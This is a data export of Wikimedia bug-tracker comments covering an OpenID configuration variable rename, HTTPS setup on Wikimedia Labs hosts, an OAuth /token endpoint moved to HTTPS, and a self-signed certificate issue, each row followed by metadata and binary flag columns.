+Because you did not follow http://www.mediawiki.org/wiki/Gerrit/Commit_message_guidelines",,,1380810506,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c2,3,True,,,5,True,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1
+258216,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,solved with https://gerrit.wikimedia.org/r/#/c/87321/ (why is gerrit not adding this information any more ?),,,1380787415,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c2,3,False,,,5,True,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,0
+258209,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,"fixed, tested, merged, closed",,,1380787161,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+258199,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,"The bug is still a bug, it's not invalid. If the name should be $wgHideOpenIDLoginLink, then that should be listed in OpenID.php and $wgOpenIDHideOpenIDLoginLink shouldn't be. And if the name should be $wgOpenIDHideOpenIDLoginLink, then $wgHideOpenIDLoginLink needs to be replaced in the code and the documentation.",,,1380208123,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+258193,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,"Thanks for reporting.
+
+All OpenID parameter names should have the form $wgOpenID...... 
+
+It appears, that the renaming of this specific variable has been overlooked in the past. I will fix this begin of October.
+
+Sorry for the inconvenience.",,,1380173514,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c2,3,False,,,4,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+258187,$wgHideOpenIDLoginLink was not completely renamed to $wgOpenIDHideOpenIDLoginLink,It looks like the name was changed to $wgHideOpenIDLoginLink. Setting $wgHideOpenIDLoginLink=true hides the link correctly. https://www.mediawiki.org/wiki/Extension:OpenID#Configuration references the correct name.,,,1380152673,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-pg6hplevt4uggtbvxhs4,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+56192,HTTPS for parsoid.wmflabs.org,"Please enable HTTPS on parsoid.wmflabs.org. Unsure if it needs it's own certificate or if there is one for *.wmflabs.org.
+
+It recently had CORS enabled so users can write custom scripts to access parsoid, however they'll face mixed content blocking issues since HTTPS doesn't work yet.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://parsoid.wmflabs.org",Needs Triage,90.0,1379372700,1379381762.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-vxs4woelidzvvd7myz2d,task_description,resolved,True,c2,3,False,False,True,2,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+239598,HTTPS for parsoid.wmflabs.org,"As we have other ports in use (http://parsoid.wmflabs.org:8001/ for example) just changing the DNS does not work so well for us. Instead, we used iptables to DNAT port 443 to the proxy.",,,1379381752,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-vxs4woelidzvvd7myz2d,task_subcomment,,True,c2,3,False,,,2,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,0
+239596,HTTPS for parsoid.wmflabs.org,Because parsoid needs more features than what labsproxy provides,,,1379375340,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-vxs4woelidzvvd7myz2d,task_subcomment,,True,c2,3,True,,,2,True,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0
+239593,HTTPS for parsoid.wmflabs.org,"https://parsoid.wmflabs.org/ exists now, thanks to the dynamic proxy :)",,,1379373679,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-vxs4woelidzvvd7myz2d,task_subcomment,,True,c2,3,True,,,2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239589,HTTPS for parsoid.wmflabs.org,There's the dynamic labsproxy that does HTTPS (and there's a *.wmflabs.org certificate for it). I can setup the proxy for the guys if they want me to.,,,1379372969,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-vxs4woelidzvvd7myz2d,task_subcomment,,True,c2,3,True,,,2,True,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0
+56110,Force HTTPS for /token if the Consumer is not using an RSA key,"We currently don't require HTTPS for the consumer to get the authorization token. The auth token's secret is combined with the consumer's secret for an HMAC signature, so part of the signing key would be known to an attacker if they can sniff this traffic.
+
+rfc5849 - 2.3 says that:
+
+   Since the request results in the transmission of plain text
+   credentials in the HTTP response, the server MUST require the use of
+   a transport-layer mechanism such as TLS or SSL (or a secure channel
+   with equivalent protections).
+
+However, if the Consumer is using an RSA key, then the authorization token's secret isn't used, so the security isn't affected by not using SSL for the /token call.
+
+--------------------------
+**Version**: master
+**Severity**: normal",Needs Triage,90.0,1379118240,1380551043.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-eltc3unjgxsy26lpygu6,task_description,resolved,True,c2,3,True,False,True,2,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+258987,Force HTTPS for /token if the Consumer is not using an RSA key,"Change 85218 merged by jenkins-bot:
+Use HTTPS for Special:MWOAuth/token
+
+https://gerrit.wikimedia.org/r/85218",,,1380396294,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eltc3unjgxsy26lpygu6,task_subcomment,,True,c2,3,False,,,4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+258984,Force HTTPS for /token if the Consumer is not using an RSA key,"Change 85218 had a related patch set uploaded by Anomie:
+Use HTTPS for Special:MWOAuth/token
+
+https://gerrit.wikimedia.org/r/85218",,,1379691008,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eltc3unjgxsy26lpygu6,task_subcomment,,True,c2,3,False,,,3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+258980,Force HTTPS for /token if the Consumer is not using an RSA key,"(In reply to comment #0)
+> However, if the Consumer is using an RSA key, then the authorization token's
+> secret isn't used, so the security isn't affected by not using SSL for the
+> /token call.
+
+What about the token credentials returned in the response? Those are still plain text.",,,1379690874,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-eltc3unjgxsy26lpygu6,task_subcomment,,True,c2,3,True,,,3,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,1,1,0,1,0,0,1
+56065,Enable HTTPS on a Labs instance,"We switched to Labs hoping that it would bring us HTTPS, but apparently not.
+
+I created an instance with this enabled:
+- role::lamp::labs
+- certificates::star_wmflabs_org
+
+But Firefox says ""Unable to connect"": https://i-000008da.pmtpa-proxy.wmflabs.org
+
+Am I missing something? What should I do to allow visitors to connect via SSL?
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=48501",Needs Triage,90.0,1378968900,1404230315.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-qa4qlq3om3eeq6hztvty,task_description,resolved,True,c2,3,False,False,False,2,True,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0
+256232,Enable HTTPS on a Labs instance,"This has been fixed now. If you are using your own instance, use Special:NovaProxy on wikitech to create a https enabled proxy. If you're using toollabs, you already have https.",,,1404230315,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c2,3,True,,,43,True,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+256228,Enable HTTPS on a Labs instance,"**scott.leea** wrote:
+
+What's the status on this ticket? Is this something I can work on? (I am a new volunteer).",,,1404182317,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c2,3,False,,,43,True,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+256223,Enable HTTPS on a Labs instance,"(In reply to comment #9)
+> Do you mean you created a ""public_html"" folder in your user home?
+> I have no such folder here, so I have put everything in /var/www and it
+> mostly
+> works (for a few hours before becoming 404, see
+> https://bugzilla.wikimedia.org/show_bug.cgi?id=54059 different problem)
+> 
+> I guess these pages could use more detailed explanations:
+> https://wikitech.wikimedia.org/wiki/Help:Lamp_Instance
+> https://wikitech.wikimedia.org/wiki/Help:LAMP_issues
+
+No.  It should already be there.  xtools runs on the tools instance.",,,1379590933,,PHID-USER-xkdpe6ltdf3mkphd7xgd,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c2,3,False,,,3,True,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1,0,1,1,0,1
+256217,Enable HTTPS on a Labs instance,"Do you mean you created a ""public_html"" folder in your user home?
+I have no such folder here, so I have put everything in /var/www and it mostly works (for a few hours before becoming 404, see https://bugzilla.wikimedia.org/show_bug.cgi?id=54059 different problem)
+
+I guess these pages could use more detailed explanations:
+https://wikitech.wikimedia.org/wiki/Help:Lamp_Instance
+https://wikitech.wikimedia.org/wiki/Help:LAMP_issues",,,1379590230,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c2,3,False,,,3,True,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,0,1,0,1,1,0,0
+256213,Enable HTTPS on a Labs instance,"(In reply to comment #7)
+> @torty: I would be glad to use the place you mention if someone grants me
+> read/write access to it.
+> Anywhere is fine as long as it can run our PHP script over HTTPS.
+> 
+> @Cyberpower678: Interesting! Any idea how they achieved this?
+> 
+> @Ryan: Any news about the dynamic proxy?
+
+Well I achieved it by simply tossing it into the public_html folder and going to that address with https.  Nothing special to it.",,,1379589549,,PHID-USER-xkdpe6ltdf3mkphd7xgd,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c2,3,False,,,3,True,1,1,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1,0,1,1,0,0,1
+256204,Enable HTTPS on a Labs instance,"@torty: I would be glad to use the place you mention if someone grants me read/write access to it.
+Anywhere is fine as long as it can run our PHP script over HTTPS.
+
+@Cyberpower678: Interesting! Any idea how they achieved this?
+
+@Ryan: Any news about the dynamic proxy?",,,1379577425,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c2,3,False,,,3,True,1,1,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,1,0,0,0,1
+256196,Enable HTTPS on a Labs instance,"**singaporemaps** wrote:
+
+Question: why is a separate instance required? I would have thought that hosting it at a page like tools.wmflabs.org/wikivoyage/poimap would work.",,,1379428579,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c2,3,False,,,2,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+256187,Enable HTTPS on a Labs instance,I'm not sure I understand but https://tools.wmflabs.org/xtools/pcount works just fine.,,,1379420417,,PHID-USER-xkdpe6ltdf3mkphd7xgd,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c2,3,False,,,2,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0
+256180,Enable HTTPS on a Labs instance,"(In reply to comment #2)
+> Also: Marking as major, as it makes Wikivoyage's dynamic maps unusable for
+> most users
+
+For the records, this was also discussed in https://de.wikivoyage.org/wiki/Benutzer_Diskussion:Mey2008#PoiMap2.2C_https_and_Firefox_23",,,1379419426,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c2,3,True,,,2,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1
+256172,Enable HTTPS on a Labs instance,"We have a new dynamic proxy that has HTTPS and also allows you to have a nice DNS name that doesn't include instance-proxy. I'll ping yuvi, who's managing this, tomorrow.",,,1379403127,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c2,3,False,,,2,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+256165,Enable HTTPS on a Labs instance,"Sam, thanks for confirming the problem!
+Could you please switch this report from UNCONFIRMED to CONFIRMED?
+Thanks!
+
+Also: Marking as major, as it makes Wikivoyage's dynamic maps unusable for most users (they don't notice the SSL mixed-protocol icon, and just see a blank square where the map should be).",,,1379380254,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c2,3,False,,,2,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,0
+256159,Enable HTTPS on a Labs instance,"Nope, HTTPS is currently unsupported on labs. Work is currently underway to rectify/improve this situation.
+
+Someone who is actually directly involved in making this work should be able to give you a suggested timeframe till it should work.",,,1378969400,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c2,3,True,,,2,True,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+55892,metrics.wmflabs.org got an invalid certificate,"metrics.wmflabs.org gebruikt een ongeldig beveiligingscertificaat.
+
+Het certificaat wordt niet vertrouwd, omdat het zelfondertekend is.
+Het certificaat is alleen geldig voor wikimetrics.pmtpa.wmflabs
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1378554540,1379365807.0,PHID-USER-cw4amt4ewxdze5qcjdca,False,,False,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_description,resolved,True,c2,3,False,False,True,1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+245774,metrics.wmflabs.org got an invalid certificate,We are now using a non-self signed certificate.,,,1379365807,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c2,3,False,,,2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0
+245767,metrics.wmflabs.org got an invalid certificate,"Prioritization and scheduling of this bug is tracked on Mingle card
+https://mingle.corp.wikimedia.org/projects/analytics/cards/1140",,,1378762595,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245759,metrics.wmflabs.org got an invalid certificate,"Prioritization and scheduling of this bug is tracked on Mingle card
+https://mingle.corp.wikimedia.org/projects/analytics/1140",,,1378762337,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245752,metrics.wmflabs.org got an invalid certificate,Translation of the original bug: metrics.wmflabs.org uses a self-signed certificate which results in a big red scary screen. We should investigate whether it's possible to have non-self signed certificates in Labs.,,,1378680512,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+245745,metrics.wmflabs.org got an invalid certificate,"Calm down Ryan, we track the *prioritization and scheduling* of the bug in mingle, not the actual resolution of the bug. I did not file the bug but I will add a translation.",,,1378680428,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+245739,metrics.wmflabs.org got an invalid certificate,"Let me rephrase: This bug contents are not in english (and aren't translated into english), and it's being tracked in a system almost no one can access.",,,1378585685,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+245733,metrics.wmflabs.org got an invalid certificate,On a mingle card? Are you joking me?,,,1378585622,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,1,1,1,0,0,0
+245730,metrics.wmflabs.org got an invalid certificate,Prioritization and scheduling of this bug is tracked on Mingle card https://mingle.corp.wikimedia.org/projects/analytics//1140,,,1378556187,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-55bnjyd72vuwxcyfk6ji,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+55703,Google points to HTTP articles (where users cannot log in),"**Author:** `winne2i`
+
+**Description:**
+After recent changes in HTTP/HTTPS logging in for users there's a problem*.
+Google search results point to HTTP versions of articles but users are not logged in while on HTTP. This enforces users to reload page or re-log in.
+I see some solution in bug 51002 ?
+
+*)Although this also occured before but user could login via HTTP (and optionally use a DIY script in common.js to redirect to HTTPS).
+
+--------------------------
+**Version**: unspecified
